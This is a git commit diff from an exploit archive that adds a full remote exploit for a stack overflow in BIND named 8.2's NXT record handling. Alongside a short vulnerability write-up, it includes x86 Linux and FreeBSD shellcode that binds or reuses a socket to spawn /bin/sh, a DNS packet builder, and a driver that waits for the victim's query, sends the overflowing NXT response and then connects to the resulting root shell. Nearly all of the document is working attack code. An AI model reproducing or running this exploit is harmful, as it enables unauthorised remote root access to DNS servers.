summaryrefslogtreecommitdiff
path: root/exploits/7350bindnxt
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits/7350bindnxt
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'exploits/7350bindnxt')
-rw-r--r--exploits/7350bindnxt/Makefile12
-rw-r--r--exploits/7350bindnxt/code.c86
-rw-r--r--exploits/7350bindnxt/code.h21
-rw-r--r--exploits/7350bindnxt/dnslib.c149
-rw-r--r--exploits/7350bindnxt/dnslib.h25
-rw-r--r--exploits/7350bindnxt/nxt.c462
-rw-r--r--exploits/7350bindnxt/vulninfo53
7 files changed, 808 insertions, 0 deletions
diff --git a/exploits/7350bindnxt/Makefile b/exploits/7350bindnxt/Makefile
new file mode 100644
index 0000000..b13942a
--- /dev/null
+++ b/exploits/7350bindnxt/Makefile
@@ -0,0 +1,12 @@
1CFLAGS = -Wall -O2
2OBJS = nxt.o dnslib.o code.o
3CC = gcc
4
5all: nxt
6
7nxt: $(OBJS)
8 $(CC) $(OBJS) -o nxt
9
10
11clean:
12 rm -rf *.o *~ nxt
diff --git a/exploits/7350bindnxt/code.c b/exploits/7350bindnxt/code.c
new file mode 100644
index 0000000..1ce8ceb
--- /dev/null
+++ b/exploits/7350bindnxt/code.c
@@ -0,0 +1,86 @@
1 /**/
2
3#include <stdio.h>
4#include "code.h"
5
6char linportshell[]=
7 /*chroot code - u can comment it out without making a difference*/
8 "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57"
9 "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89"
10 "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2"
11 "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe"
12 "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d"
13 "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02"
14
15 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x74\x5f\x89\x4f\x10\xfe"
16 "\xc1\x89\x4f\x0c\xfe\xc1\x89\x4f\x08\x8d\x4f\x08\xfe\xc3\xb0"
17 "\x66\xcd\x80\xfe\xc3\xc6\x47\x10\x10\x66\x89\x5f\x14\x88\x47"
18 "\x08\xb0\x45\x66\x89\x47\x16\x89\x57\x18\x8d\x4f\x14\x89\x4f"
19 "\x0c\x8d\x4f\x08\xb0\x66\xcd\x80\x89\x5f\x0c\xfe\xc3\xfe\xc3"
20 "\xb0\x66\xcd\x80\x89\x57\x0c\x89\x57\x10\xfe\xc3\xb0\x66\xcd"
21 "\x80\x31\xc9\x88\xc3\xb0\x3f\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
22 "\xfe\xc1\xb0\x3f\xcd\x80\x88\x57\x07\x89\x7f\x0c\x89\xfb\x8d"
23 "\x4f\x0c\xb0\x0b\xcd\x80\xe8\x87\xff\xff\xff/bin/sh";
24
25char linpeername[]=
26 /* same chroot code */
27 "\x31\xc0\x31\xdb\x31\xc9\xb0\x0c\xeb\x3b\x5f\x8d\x57"
28 "\x03\x8d\x5f\x02\x80\x2a\x02\x4a\x39\xfa\x7d\xf8\x89"
29 "\xc8\xb0\x27\xcd\x80\x89\xc8\xb0\x3d\xcd\x80\x31\xd2"
30 "\xb2\x0c\x88\x0b\x89\xfb\xb1\x10\x89\xd0\xcd\x80\xfe"
31 "\xc9\x80\xf9\x01\x7d\xf5\x88\x4b\x01\x89\xc8\xb0\x3d"
32 "\xcd\x80\xeb\x09\xe8\xc0\xff\xff\xff\x30\x30\x51\x02"
33
34 "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f"
35 "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08"
36 "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10"
37 "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c"
38 "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe"
39 "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
40 "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2"
41 "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
42 "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
43 "\xff\x2f\x62\x69\x6e\x2f\x73\x68";
44
45 /* only tested on freebsd */
46char bsdportshell[]=
47 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
48 "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
49 "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
50 "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
51 "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
52 "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
53 "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
54 "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
55 "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh";
56
57
58c0de linux_i386[ARCH_MAX]=
59 {
60 {linportshell, sizeof (linportshell)},
61 {linpeername, sizeof (linpeername)},
62 };
63
64c0de bsd_i386[ARCH_MAX]=
65 {
66 {bsdportshell, sizeof (bsdportshell)},
67 {NULL, 0}
68 };
69
70c0de *archs[]=
71 {
72 linux_i386,
73 bsd_i386
74 };
75
76char *archs_str[]=
77 {
78 "linux i386",
79 "bsd i386"
80 };
81
82char *code_str[]=
83 {
84 "portshell code",
85 "peername code"
86 };
diff --git a/exploits/7350bindnxt/code.h b/exploits/7350bindnxt/code.h
new file mode 100644
index 0000000..c547e83
--- /dev/null
+++ b/exploits/7350bindnxt/code.h
@@ -0,0 +1,21 @@
1#ifndef CODE_H
2#define CODE_H
3
4#define LINUX_I386 0x0
5#define BSD_I386 0x1
6#define ARCH_MAX 0x2
7
8#define PORTSHELL 0x0
9#define PEERNAME 0x1
10#define TYPE_MAX 0x2
11
12typedef struct c0de {
13 char *code;
14 int codesize;
15} c0de;
16
17extern c0de *archs[];
18extern char *archs_str[],
19 *code_str[];
20
21#endif /* CODE_H */
diff --git a/exploits/7350bindnxt/dnslib.c b/exploits/7350bindnxt/dnslib.c
new file mode 100644
index 0000000..d1afb13
--- /dev/null
+++ b/exploits/7350bindnxt/dnslib.c
@@ -0,0 +1,149 @@
1#include "dnslib.h"
2#include <netinet/in.h>
3#include <arpa/inet.h>
4
5/* make a full dns query including header. Returns length of packet.
6 */
7int
8makequery (char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id)
9{
10 HEADER *head;
11
12 head = (HEADER *)buffer;
13
14 bzero (head, DNSHDRSIZE);
15 head->id = htons (id);
16 head->qr = 0;
17 head->opcode = 0;
18 head->aa = 0;
19 head->tc = 0;
20 head->rd = 1;
21 head->ra = 0;
22 head->rcode = 0;
23 head->qdcount = htons (1);
24 head->ancount = 0;
25 head->nscount = 0;
26 head->arcount = 0;
27
28 return (makeqbody (name, type, buffer + DNSHDRSIZE) + DNSHDRSIZE);
29}
30
31/* convert a \0-terminated string to a DNS domain name.
32 * www.yahoo.com(.) => \003www\005yahoo\003\com\000
33 */
34int
35formatname (char *in, u_int8_t *out)
36{
37 char *start = in, c = 0;
38 int n = strlen (in);
39
40 in += n - 1;
41 out += n + 1;
42
43 *out-- = 0;
44
45 n = 0;
46 while (in >= start) {
47 c = *in--;
48 if (c == '.') {
49 *out-- = n;
50 n = 0;
51 } else {
52 *out-- = c;
53 n++;
54 }
55 }
56
57 if (n)
58 *out-- = n;
59
60 return (strlen (out + 1) + 1);
61}
62
63/* simple function for making a, ptr and ns resource records
64 * doesn't support more complicated stuph.
65 */
66
67int
68makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl,
69 char *rdata, char *buf)
70{
71 int n;
72 rrec_body *rec;
73 char *ptr = buf;
74
75 /* name the resource record pertains too */
76 ptr += formatname (name, ptr);
77 rec = (rrec_body *)ptr;
78 rec->type = htons (type);
79 rec->class = htons (class);
80 rec->ttl = htonl (ttl);
81 rec->rdlength = 0;
82 ptr += 10;
83
84 switch (type) {
85 case T_A:
86 *(u_int32_t *)ptr = inet_addr (rdata);
87 rec->rdlength = htons (4);
88 ptr += 4;
89 break;
90 case T_PTR:
91 case T_NS:
92 n = formatname (rdata, ptr);
93 ptr += n;
94 rec->rdlength = htons (n);
95 break;
96 default:
97 /**/
98 }
99 return (ptr - buf);
100}
101
102/* make just the body of a DNS query.
103 */
104int
105makeqbody (char *name, u_int16_t type, u_int8_t *buffer)
106{
107 int len;
108
109 len = formatname (name, buffer);
110 buffer += len;
111 PUTSHORT (type, buffer);
112 PUTSHORT (C_IN, buffer);
113 return (len + 4);
114}
115
116
117/* uncompress compressed dns names. ugh.
118 * works for normal formatted dns names too..
119 * returns the length of the first part of the compressed name (i.e.
120 * before redirection).
121 */
122
123int
124uncompress (u_int8_t *in, char *out, u_int8_t *msg)
125{
126 u_int8_t *start = in, *end = NULL;
127 u_int8_t len;
128 u_int16_t off;
129
130 while ((len = *in++)) {
131 if (len & INDIR_MASK) {
132 if (end == NULL)
133 end = in + 1;
134 off = (len & ~INDIR_MASK);
135 off |= *in++ << 8;
136 off = ntohs (off);
137 in = msg + off;
138 continue;
139 }
140 memcpy (out, in, len);
141 out += len;
142 in += len;
143 *out++ = '.';
144 }
145 if (end == NULL)
146 end = in;
147 *out++ = 0;
148 return (end - start);
149}
diff --git a/exploits/7350bindnxt/dnslib.h b/exploits/7350bindnxt/dnslib.h
new file mode 100644
index 0000000..2beefe1
--- /dev/null
+++ b/exploits/7350bindnxt/dnslib.h
@@ -0,0 +1,25 @@
1#ifndef DNSLIB_H
2#define DNSLIB_H
3#include <stdlib.h>
4#include <string.h>
5#include <sys/types.h>
6#include <arpa/nameser.h>
7
8#define DNSHDRSIZE sizeof(HEADER)
9
10int makequery(char *name, u_int16_t type, u_int8_t *buffer, u_int16_t id);
11int makeqbody(char *name, u_int16_t type, u_int8_t *buffer);
12int formatname(char *in, u_int8_t *out);
13int uncompress(u_int8_t *in, char *out, u_int8_t *msg);
14
15typedef struct {
16 u_int16_t type;
17 u_int16_t class;
18 u_int32_t ttl;
19 u_int16_t rdlength;
20} rrec_body;
21
22int makeRR (char *name, u_int16_t type, u_int16_t class, u_int32_t ttl,
23 char *rdata, char *buf);
24
25#endif /* DNSLIB_H */
diff --git a/exploits/7350bindnxt/nxt.c b/exploits/7350bindnxt/nxt.c
new file mode 100644
index 0000000..090edb2
--- /dev/null
+++ b/exploits/7350bindnxt/nxt.c
@@ -0,0 +1,462 @@
1/* Preliminary exploit for named 8.2 on linux by z-.
2 *
3 * thx to horizon and jayenz.
4 *
5 * NB: u need to get the nameserver to query the exploit, something along
6 * the lines of:
7 * $ nslookup asdfasdf.urdomain.com victim.server.com
8 */
9
10#include <stdio.h>
11#include <unistd.h>
12#include <stdlib.h>
13#include <sys/time.h>
14#include <sys/types.h>
15#include <sys/socket.h>
16#include <netinet/in.h>
17#include <arpa/inet.h>
18#include <arpa/nameser.h>
19#include <netdb.h>
20#include "dnslib.h"
21#include "code.h"
22
23#define DEBUG
24#ifndef T_NXT
25#define T_NXT 30
26#endif
27
28int connect_portshell (struct in_addr ip);
29int run_shell (int fd);
30
31#define SLEEP 2
32#define CODE_PORT 17664
33
34#define RET_CNT 16 /* number of times to repeat the return address */
35#define RET_POS 4133 /* distance till end of the buffer */
36
37#define NOP 0x09
38
39#define SA struct sockaddr
40
41typedef struct type {
42 char *name;
43 unsigned long ret;
44 int arch;
45} type;
46
47type types[]=
48 {
49 {"8.2 linux", /*0xbfffdd34*/0xbfffd6c3, LINUX_I386},
50 {"8.2.1 Freebsd", 0x31313131, BSD_I386}, /* fixme */
51 {NULL, 0, 0}
52 };
53
54u_int type_cnt = (sizeof (types) / sizeof (type)) - 1,
55 victim_type = 0,
56 shellcode_type = PORTSHELL;
57
58char *ourdomain;
59
60void pfatal (char *s);
61int resolv (char *hostname, struct in_addr *ip);
62void usage (char *prog);
63
64/* actually make the egg to overflow the data[] buffer, including nops.
65 * returns length of egg.
66 */
67int
68make_egg (char *ptr)
69{
70 u_int *ret_ptr;
71 c0de *c0de_ptr;
72 char *code;
73 int i,
74 codesize,
75 arch;
76
77
78 /* don't bother sanity checking here */
79
80 arch = types[victim_type].arch;
81
82 c0de_ptr = archs[arch];
83
84 code = c0de_ptr[shellcode_type].code;
85 codesize = c0de_ptr[shellcode_type].codesize;
86
87#ifdef DEBUG
88 printf ("codesize = %d\n", codesize);
89#endif
90 memset (ptr, NOP, RET_POS);
91 memcpy (ptr + RET_POS - codesize, code, codesize);
92
93 /* risc alignment is evil ! */
94 ret_ptr = (u_int *)(ptr + RET_POS);
95 for (i = 0; i < RET_CNT; i++)
96 *ret_ptr++ = types[victim_type].ret;
97
98 return (RET_POS + 4 * RET_CNT);
99}
100
101/* send exploit data to 'victim'.
102 * returns connected descriptor on succes
103 * returns -1 on error
104 */
105int
106send_data (struct sockaddr_in *victim, char *buf, int len)
107{
108 struct sockaddr_in sin;
109 int fd;
110 u_short lennbo;
111
112 fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
113 if (fd < 0)
114 return (-1);
115
116 /* we need to bind to port 53 to appear as named */
117
118 bzero (&sin, sizeof (sin));
119 sin.sin_family = AF_INET;
120 sin.sin_addr.s_addr = htonl (INADDR_ANY);
121 sin.sin_port = htons (53);
122
123 printf("Binding to local port 53...\n");
124 if (bind (fd, (SA *)&sin, sizeof(sin)) < 0) {
125 close (fd);
126 return (-1);
127 }
128
129 victim->sin_port = htons (53);
130
131 if (connect (fd, (SA *)victim, sizeof(struct sockaddr_in)) < 0) {
132 close (fd);
133 return (-1);
134 }
135
136 printf("Sending packet of length %d\n", len);
137
138 lennbo = htons (len);
139 send (fd, &lennbo, sizeof(u_short), 0);
140 if (send (fd, buf, len, 0) < len) {
141 close (fd);
142 return (-1);
143 }
144
145 return (fd);
146}
147
148/* make the dns packet to exploit named and call send_data().
149 * returns the result of send_data()
150 */
151int
152send_exploit (u_char *buf, struct sockaddr_in *victim)
153{
154 u_char response[5120],
155 query[256],
156 tmp_str[100],
157 *ptr, *tmp;
158 u_short type;
159 HEADER *hdr;
160
161 ptr = buf + DNSHDRSIZE;
162 ptr += uncompress (ptr, query, buf);
163 GETSHORT (type, ptr)
164
165 printf("Query %s type %d\n", query, type);
166
167 hdr = (HEADER *)response;
168 hdr->id = ((HEADER *)buf)->id;
169 hdr->qr = 1; /* answer */
170 hdr->aa = 1; /* authoritative */
171 hdr->qdcount = htons (1);
172 hdr->ancount = htons (1);
173 hdr->nscount = htons (0);
174 hdr->arcount = htons (1);
175 ptr = response + sizeof (HEADER);
176
177 ptr += makeqbody (query, type, ptr);
178
179 /* do the answer */
180 switch (type) {
181 case T_A:
182 ptr += makeRR (query, type, C_IN, 10000, "3.1.33.7", ptr);
183 break;
184 case T_PTR:
185 case T_NS:
186 sprintf (tmp_str, "rand0m.%s", ourdomain);
187 ptr += makeRR (query, type, C_IN, 10000, tmp_str, ptr);
188 break;
189 default:
190 printf("Krazy packetz\n");
191 exit(-1);
192 }
193
194 /* now do the overflow */
195 /* first comes the query name again.
196 */
197 ptr += formatname (query, ptr);
198 PUTSHORT (T_NXT, ptr);
199 PUTSHORT (C_IN, ptr);
200 PUTLONG (100000, ptr);
201 tmp = ptr; /* tmp points to rdlength */
202
203 /* now do rdata section. */
204 ptr += 2;
205 /* first any domain u want, note the length affects the ret */
206 ptr += formatname ("smiler", ptr);
207 /* then the arbitrary data */
208 ptr += make_egg (ptr);
209 PUTSHORT ((u_short)(ptr-tmp-2), tmp); /* store the rdlength */
210
211 return (send_data (victim, response, ptr - response));
212}
213
214/* loop waiting for the query from 'victim'.
215 * returns the result of send_exploit()
216 */
217int
218wait_for_connection (struct in_addr victim)
219{
220 struct sockaddr_in from;
221 u_char beef[512];
222 int fd,
223 n, fromlen;
224
225 fd = socket (AF_INET, SOCK_DGRAM, 0);
226 if (fd < 0)
227 pfatal ("socket");
228
229 bzero (&from, sizeof(from));
230 from.sin_addr.s_addr = htonl(INADDR_ANY);
231 from.sin_port = htons(53);
232 from.sin_family = AF_INET;
233
234 if (bind (fd, (SA *)&from, sizeof(from)) < 0)
235 return (-1);
236
237 printf ("Waiting for query packet from victim...\n");
238
239 for (;;) {
240 HEADER *ptr;
241
242 fromlen = sizeof(from);
243 n = recvfrom (fd, beef, sizeof (beef), 0, (SA *)&from,
244 &fromlen);
245 if (n <= 0)
246 return (-1);
247#ifdef DEBUG
248 fprintf(stderr, "Packet from %s %d\n", inet_ntoa
249 (from.sin_addr), ntohs(from.sin_port));
250#endif
251
252 if (from.sin_addr.s_addr != victim.s_addr)
253 continue;
254
255#ifndef DEBUG
256 fprintf (stderr, "Got packet from %s %d\n",
257 inet_ntoa (from.sin_addr), ntohs (from.sin_port));
258#endif
259
260 ptr = (HEADER *)beef;
261 if (ptr->qr || !ptr->qdcount)
262 continue;
263
264 close (fd);
265 return (send_exploit (beef, &from));
266 break;
267 }
268 return (0);
269}
270
271void
272parse_opts (int argc, char **argv, struct in_addr *victim)
273{
274 char *argv0,
275 d;
276 int arch;
277 c0de *c0de_ptr;
278
279 argv0 = strdup (argv[0]);
280
281 while ((d = getopt (argc, argv, "s:t:")) != -1) {
282 switch (d) {
283 case 's':
284 shellcode_type = atol (optarg);
285 if (shellcode_type >= TYPE_MAX) {
286 fprintf (stderr, "shellcode out of range\n");
287 exit (-1);
288 }
289 break;
290 case 't':
291 victim_type = atol (optarg);
292 if (victim_type >= type_cnt) {
293 fprintf (stderr, "No such type\n");
294 exit (-1);
295 }
296 break;
297 }
298 }
299
300 arch = types[victim_type].arch;
301 c0de_ptr = archs[arch];
302
303 if (c0de_ptr[shellcode_type].code == NULL) {
304 printf ("No %s for arch %s :(\n",
305 code_str[shellcode_type], archs_str[arch]);
306 exit (-1);
307 }
308
309 argc -= optind;
310 argv += optind;
311
312 if (argc < 2)
313 usage (argv0);
314
315 if (!resolv (argv[0], victim)) {
316 herror ("resolv");
317 exit (-1);
318 }
319
320 ourdomain = strdup (argv[1]);
321 return;
322}
323
324int
325main (int argc, char **argv)
326{
327 struct in_addr victim;
328 int fd;
329
330 puts ("NXT exploit by z-\n");
331
332 parse_opts (argc, argv, &victim);
333
334 printf ("using type %d - %s\n", victim_type, types[victim_type].name);
335 printf ("exploit arch %s\n", archs_str[types[victim_type].arch]);
336 printf ("using %s\n", code_str[shellcode_type]);
337
338 if ((fd = wait_for_connection (victim)) < 0) {
339 perror("ERROR");
340 return (-1);
341 }
342 if (shellcode_type == PORTSHELL) {
343 close (fd); /* get rid of domain connection */
344 printf("Sleeping for %d seconds\n", SLEEP);
345 sleep (SLEEP);
346
347 /* and get the portshell connection */
348 if ((fd = connect_portshell (victim)) < 0) {
349 perror ("connect_portshell");
350 return (-1);
351 }
352 }
353
354 if (run_shell (fd) < 0) {
355 perror ("connect_shell");
356 return (-1);
357 }
358
359 return (0);
360}
361
362/* connects 'fd' to your term, effectively.
363 */
364int
365run_shell (int fd)
366{
367 fd_set rset;
368 int n;
369 char buffer[4096];
370
371 send (fd, "/bin/uname -a\n", 14, 0);
372
373 for (;;) {
374 FD_ZERO (&rset);
375 FD_SET (fd, &rset);
376 FD_SET (STDIN_FILENO, &rset);
377
378 n = select (fd + 1, &rset, NULL, NULL, NULL);
379 if (n <= 0)
380 return (-1);
381
382 if (FD_ISSET (fd, &rset)) {
383 n = recv (fd, buffer, sizeof (buffer), 0);
384 if (n <= 0)
385 break;
386
387 write (STDOUT_FILENO, buffer, n);
388 }
389
390 if (FD_ISSET (STDIN_FILENO, &rset)) {
391 n = read (STDIN_FILENO, buffer, sizeof (buffer));
392 if (n <= 0)
393 break;
394
395 send (fd, buffer, n, 0);
396 }
397 }
398 return (0);
399}
400
401/* connect to the relevant high port.
402 */
403int
404connect_portshell (struct in_addr ip)
405{
406 int fd;
407 struct sockaddr_in sin;
408
409 printf ("Trying to connect to root shell...\n");
410
411 fd = socket (AF_INET, SOCK_STREAM, 0);
412 if (fd < 0)
413 return (-1);
414
415 bzero (&sin, sizeof (sin));
416 sin.sin_addr.s_addr = ip.s_addr;
417 sin.sin_port = htons (CODE_PORT);
418 sin.sin_family = AF_INET;
419
420 if (connect (fd, (SA *)&sin, sizeof (sin)) < 0)
421 return (-1);
422
423 return (fd);
424}
425
426int
427resolv (char *hostname, struct in_addr *ip)
428{
429 struct hostent *res;
430
431 if (inet_aton (hostname, ip))
432 return (1);
433
434 res = gethostbyname (hostname);
435 if (res == NULL)
436 return (0);
437
438 memcpy (ip, res->h_addr, sizeof (struct in_addr));
439 return (1);
440}
441
442void
443usage (char *prog)
444{
445 type *ptr;
446 int ctr = 0;
447
448 fprintf (stderr, "usage: %s <victim> <ur domain> [-t type] [-s shellcode type]\n", prog);
449 for (ptr = types; ptr->name; ptr += 1, ctr++) {
450 printf ("type %d: %s\n", ctr, ptr->name);
451 }
452 printf ("shellcode 0: portshell code\n");
453 printf ("shellcode 1: peername code\n");
454 exit(-1);
455}
456
457void
458pfatal (char *s)
459{
460 perror (s);
461 exit(-1);
462}
diff --git a/exploits/7350bindnxt/vulninfo b/exploits/7350bindnxt/vulninfo
new file mode 100644
index 0000000..ce794e4
--- /dev/null
+++ b/exploits/7350bindnxt/vulninfo
@@ -0,0 +1,53 @@
1--here is the offending code
2
3 n = dn_expand(msg, eom, cp, (char *)data, sizeof data);
4 if (n < 0) {
5 hp->rcode = FORMERR;
6 return (-1);
7 }
8 if (!ns_nameok((char *)data, class, NULL, response_trans,
9 domain_ctx, dname, from.sin_addr)) {
10 hp->rcode = FORMERR;
11 return (-1);
12 }
13 cp += n;
14 cp1 = data + strlen((char *)data) + 1;
15 memcpy(cp1, cp, dlen - n);
16
17--
18
19This implys three things.
20
21firstly the format of the rdata section - it is important that u form this
22correctly. in this case it is quite simple, a DNS domain name followed by
23any arbitrary data :) Yes, even nulls ;)
24
25secondly the buffer will already contain the data from the DNS domain
26name from the first part of the rdata section, and the arbitrary data
27appends this data, hence u must take account of this when calculating the
28ret distance.
29
30thirdly its just an ordinary stack overflow ('data' isn't declared
31static), so it should be easy enough to exploit.
32
33the buffer in this case is of size MAXDATA*2 which, if u follow the macros,
34evaluates to 4140 bytes. There are 12 other temporary variables in the
35stack, each of size 4 bytes so, making no assumptions about how the
36compiler decides to arrange them on the stack, u must send approx 14
37return addresses after the shellcode. note the buffer is fuqn huge so you
38should have virtually no problems with the offset =)
39
40So if you use a DNS domain name of length 6 (e.g. \006smiler\000 =)
41since it starts at 'data + strlen (data) + 1' then u need to put 4140 - 7
42= 4133 bytes in the buffer to start overflowing and u need to follow that
43with 14 ret addresses (56 bytes). In total that comes to 4190 bytes =)
44
45I haven't checked this out, but apparently u need to send this
46data via tcp, because BIND refuses to read more than 512 bytes from a udp
47packet, even if u fragment to allow it to be bigger than the MTU
48(I managed to do this before, with an rpc call, to exploit rpc.mountd -
49albeit only ~1100 bytes).
50
51
52-smiler
53